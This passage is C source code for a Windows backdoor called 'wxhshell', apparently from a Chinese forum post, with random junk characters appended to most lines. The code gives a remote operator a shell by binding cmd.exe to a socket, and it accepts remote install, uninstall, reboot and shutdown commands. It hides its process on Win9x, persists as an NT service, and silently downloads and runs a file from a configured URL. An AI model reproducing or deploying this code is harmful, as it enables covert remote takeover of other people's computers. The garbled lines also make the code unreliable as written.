  } &Zy%Zz  
  else { Zmx[:-  
l_$ le  
    switch(cmd[0]) { 7G':h0i8  
  ;Vv.$mI  
  // 帮助 `?=Y^+*!-  
  case '?': { 6 H{G$[2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \&BT#8ELG  
    break; YUjKOPN  
  } xlIVLv6dO  
  // 安装 *jCHv  
  case 'i': { 7/e25LS!`U  
    if(Install()) 4p<c|(f#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OjWg>v\ v  
    else FeL!%z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aO &!Y\=@  
    break; pgd9_'[5  
    } 2=IZD `{!  
  // 卸载 ,8@q2a/  
  case 'r': { 0g'MF  S  
    if(Uninstall()) Q3<ctd\]Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f1AO<>I;  
    else p54 e'Zb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lo*vt42{4  
    break; q"0_Px9P  
    } ^Ycn&`s  
  // 显示 wxhshell 所在路径 v`&>m '  
  case 'p': { 4D)M_O  
    char svExeFile[MAX_PATH]; IE:;`e:\D  
    strcpy(svExeFile,"\n\r"); b?,''t  
      strcat(svExeFile,ExeFile); JuDadIrd{  
        send(wsh,svExeFile,strlen(svExeFile),0); X"!tx  
    break; EG!Nsb^,  
    } Esdv+f}4;  
  // 重启 _a\$uVZ  
  case 'b': { tq=7HM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w&e q *q  
    if(Boot(REBOOT)) *4y0Hq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>Bt|[p:s)  
    else { ]|QA`5=$  
    closesocket(wsh); "G!,gtA~  
    ExitThread(0); 7*eIs2aY  
    } ~,m5dP#[bV  
    break; D\Fu4Eg  
    } ]D_ AZI  
  // 关机 [{PmU~RMYf  
  case 'd': { P G*FIRDb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \GCT3$  
    if(Boot(SHUTDOWN)) U=N]XwjVK<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sf,9Ym  
    else { p><DA fB  
    closesocket(wsh); "uU[I,h  
    ExitThread(0); :Oc&{z?q  
    } * oru;=D@8  
    break; T2}ccnDi  
    } S %(R9N|  
  // 获取shell ~!ICBF~j  
  case 's': { u\@ L|rh  
    CmdShell(wsh); h<FEe~  
    closesocket(wsh); 0@2pw2{Ru  
    ExitThread(0); *Bx' g| u  
    break;  DZ&AwF  
  } nXxSv~r  
  // 退出 5h>t4 [~  
  case 'x': { /[Sy;wn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UdX aC= Q  
    CloseIt(wsh); OuU]A[r  
    break; ?r}!d2:dX  
    } FUKE.Uxd  
  // 离开 m NApFwZ  
  case 'q': { 9Jp "E5Ql)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J9`[Qy\  
    closesocket(wsh); Q)Zk UmW  
    WSACleanup(); 0:k ~  lz  
    exit(1); *,p16"Q;  
    break; Vr<ypyC  
        } D(gpF85t  
  } K7 $Vl"l  
  } me/ae{  
^1NtvQe@Y\  
  // 提示信息 AZadNuL/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9{5 c}bX  
} 1~Z Kpvu  
  } sYY=MD  
js8\"  
  return; !;YQQ<D  
} /WI HG0D  
 LYX\#  
// shell模块句柄 7&9'=G  
int CmdShell(SOCKET sock) =m= utd8  
{ 7<VfE`Q3  
STARTUPINFO si; zwKm;;v8  
ZeroMemory(&si,sizeof(si)); )04lf*ti  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R0*+GIRA(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CfnRcnms  
PROCESS_INFORMATION ProcessInfo; $W;IW$  
char cmdline[]="cmd"; 4c=oAL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c/57_fOK  
  return 0; !S',V&Yb  
} kM\O2 ay  
lYu1m  
// 自身启动模式 fE/8;v!=  
int StartFromService(void) :B'}#;8_  
{ <P3r}|K  
typedef struct HSOdqjR*  
{ X+K$y:UZ  
  DWORD ExitStatus; 0R2 AhA#  
  DWORD PebBaseAddress; 8EPV\M1%  
  DWORD AffinityMask; %?EOD=e =  
  DWORD BasePriority; 8P!dk5 ,,O  
  ULONG UniqueProcessId; MOG[cp  
  ULONG InheritedFromUniqueProcessId; L/GM~*Xp(O  
}   PROCESS_BASIC_INFORMATION; WJU` g  
j#U?'g  
PROCNTQSIP NtQueryInformationProcess; Y(SgfWeK@1  
tGd<{nF%2  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |b/J$.R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -i'T!Qg1  
/)de`k"  
  HANDLE             hProcess; 7Yxy2[  
  PROCESS_BASIC_INFORMATION pbi; !o4xI?  
*<U&DOYV:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EBM\p+x&  
  if(NULL == hInst ) return 0; 64 \ZOG\,  
ZZE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %`}CbD6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %MP s}B  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VSZ6;&2^  
FzpWT-jnDd  
  if (!NtQueryInformationProcess) return 0; S53%*7K.  
nHKEtKDd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0 $e;#}  
  if(!hProcess) return 0; _ |TE )h  
d!KX.K\NM,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |-_5ou N.  
vo`wYJ3W  
  CloseHandle(hProcess); U&3*c+B4  
YC=BP5^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {|xwvTl J  
if(hProcess==NULL) return 0; Uzb"$Ue4  
;$&-c/]F#  
HMODULE hMod; X=\ #n-*  
char procName[255]; `6mHt6"h  
unsigned long cbNeeded; sjTsaM;<  
Lf0Hz")  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cfeX (0  
+X*`}-3  
  CloseHandle(hProcess); FYcMvY  
ZVp\ 5V*  
if(strstr(procName,"services")) return 1; // 以服务启动 7Xad2wXn  
iY|YEi8  
  return 0; // 注册表启动 GoEIY  
} z{#F9'\&  
Y[~6f,?^  
// 主模块 ]Hd 0 Y%  
int StartWxhshell(LPSTR lpCmdLine) 0"2 [I  
{ Ix"c<1 I  
  SOCKET wsl; 7-o=E=  
BOOL val=TRUE; \aZ(@eF@@Q  
  int port=0; 0='DDy  
  struct sockaddr_in door; : l>Ue&  
@>9p2u)=  
  if(wscfg.ws_autoins) Install(); TLSy+x_gX  
B?0{=u  
port=atoi(lpCmdLine);  ~M'\9  
G'Q7(c  
if(port<=0) port=wscfg.ws_port; )%y~{j+M  
9uS7G*  
  WSADATA data;  +rT(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Lhz^5/  
oyr2lfz*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |~HlNUPR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z}Z`kq+C  
  door.sin_family = AF_INET; KFZ[gqW8YY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \4j+pU  
  door.sin_port = htons(port); 4o*V12_r'4  
Z@[,"{Sn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :>X7(&j8  
closesocket(wsl); I }/Oi]jA6  
return 1; li%-9Jd  
} "q`%d_  
hL`zV  
  if(listen(wsl,2) == INVALID_SOCKET) { uf;q/Wr  
closesocket(wsl); Vd?v"2S(9  
return 1; m_(hCY=Q$  
} i52R,hz  
  Wxhshell(wsl); 1!f'nS  
  WSACleanup(); EORRSP,$2  
vfv5ex(  
return 0; @qC:% |>  
c"YK+2  
} 0&.lSwa  
q9 ;\B&  
// 以NT服务方式启动 b;t]k9:"L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -Y[-t;  
{ t~M<j| ]k  
DWORD   status = 0; y[|g!9Rp  
  DWORD   specificError = 0xfffffff; =+"'=o  
;yZ N "r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *(`.h\+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (Z$6J Nkz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x5|v# -F ^  
  serviceStatus.dwWin32ExitCode     = 0; V1:3  
  serviceStatus.dwServiceSpecificExitCode = 0; ]T51;j'48  
  serviceStatus.dwCheckPoint       = 0; |f:d72{Qr  
  serviceStatus.dwWaitHint       = 0; q8h{-^"  
Qwa"AY 5pW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?8,N4T0)  
  if (hServiceStatusHandle==0) return; +wUhB\F *  
GiZ'IDV  
status = GetLastError(); !p&'so^-W  
  if (status!=NO_ERROR) "<2b jy  
{ {T.Vu]L80  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ->hxHr`!%a  
    serviceStatus.dwCheckPoint       = 0; m6x. "jG  
    serviceStatus.dwWaitHint       = 0; Yy)a,clZ*$  
    serviceStatus.dwWin32ExitCode     = status; `_'Dj>  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3kQ^f=Wd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >slN:dr0:  
    return; (RmED\.]4  
  } :(b3)K  
8e@JvAaa$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7S2F^,w  
  serviceStatus.dwCheckPoint       = 0; |+:ZO5FaO  
  serviceStatus.dwWaitHint       = 0; ee_\_"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I7PWO d  
} 5tU"|10m3  
5)zB/Ta<  
// 处理NT服务事件,比如:启动、停止 nTU~M~gky  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ? 03Zy3 /  
{ 2jZ}VCzRG  
switch(fdwControl) 48g^~{T4O  
{ JYr7;n'!  
case SERVICE_CONTROL_STOP: }AiS83B  
  serviceStatus.dwWin32ExitCode = 0; YhT1P fl  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nh=Us^xD  
  serviceStatus.dwCheckPoint   = 0; 'q'Y:A?,  
  serviceStatus.dwWaitHint     = 0; 8~ )[d!'  
  { vEe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ++!E9GU{  
  } 'TrrOq4  
  return; G r|@CZq  
case SERVICE_CONTROL_PAUSE: I=%sDn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4@e!D Du  
  break; [T}]Ma*CS  
case SERVICE_CONTROL_CONTINUE: =+h!JgY/L  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rgzI  
  break; dO4#BDn"=  
case SERVICE_CONTROL_INTERROGATE: b<(UmRxx3  
  break; W79A4l<  
}; 87(^P3;@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'B5J.Xe:  
} &&nO]p`  
p\_qHq\;j  
// 标准应用程序主函数 GLQvAHC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]GtR8w@w  
{ 6J-}&U  
!;aC9VhSU  
// 获取操作系统版本 ]2Fo.n  
OsIsNt=GetOsVer(); IaTq4rt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |J Q:.h  
j'*p  
  // 从命令行安装 x\hn;i<  
  if(strpbrk(lpCmdLine,"iI")) Install(); z#J/*712  
z{3%Hq  
  // 下载执行文件 /Tf*d>Yh;  
if(wscfg.ws_downexe) { pt cLJ]+)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8*#][ wC2  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]az} n(B,  
} ,L{o, qzC  
b#;N!VX  
if(!OsIsNt) { DYKV54\ue  
// 如果时win9x,隐藏进程并且设置为注册表启动 eAYW%a  
HideProc(); ~`>26BWQz  
StartWxhshell(lpCmdLine); :z} _y&]  
} ~<aeA'>OA  
else HjK<)q8b  
  if(StartFromService()) FJ%R3N\  
  // 以服务方式启动 #or oY.o  
  StartServiceCtrlDispatcher(DispatchTable); !bV(VRbu  
else #8f"}>U9.,  
  // 普通方式启动 .-u k   
  StartWxhshell(lpCmdLine); cevV<Wy+  
:IT U0%;!+  
return 0; d)GkXll1D  
}
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只看该作者 1 发表于: 2006-10-10
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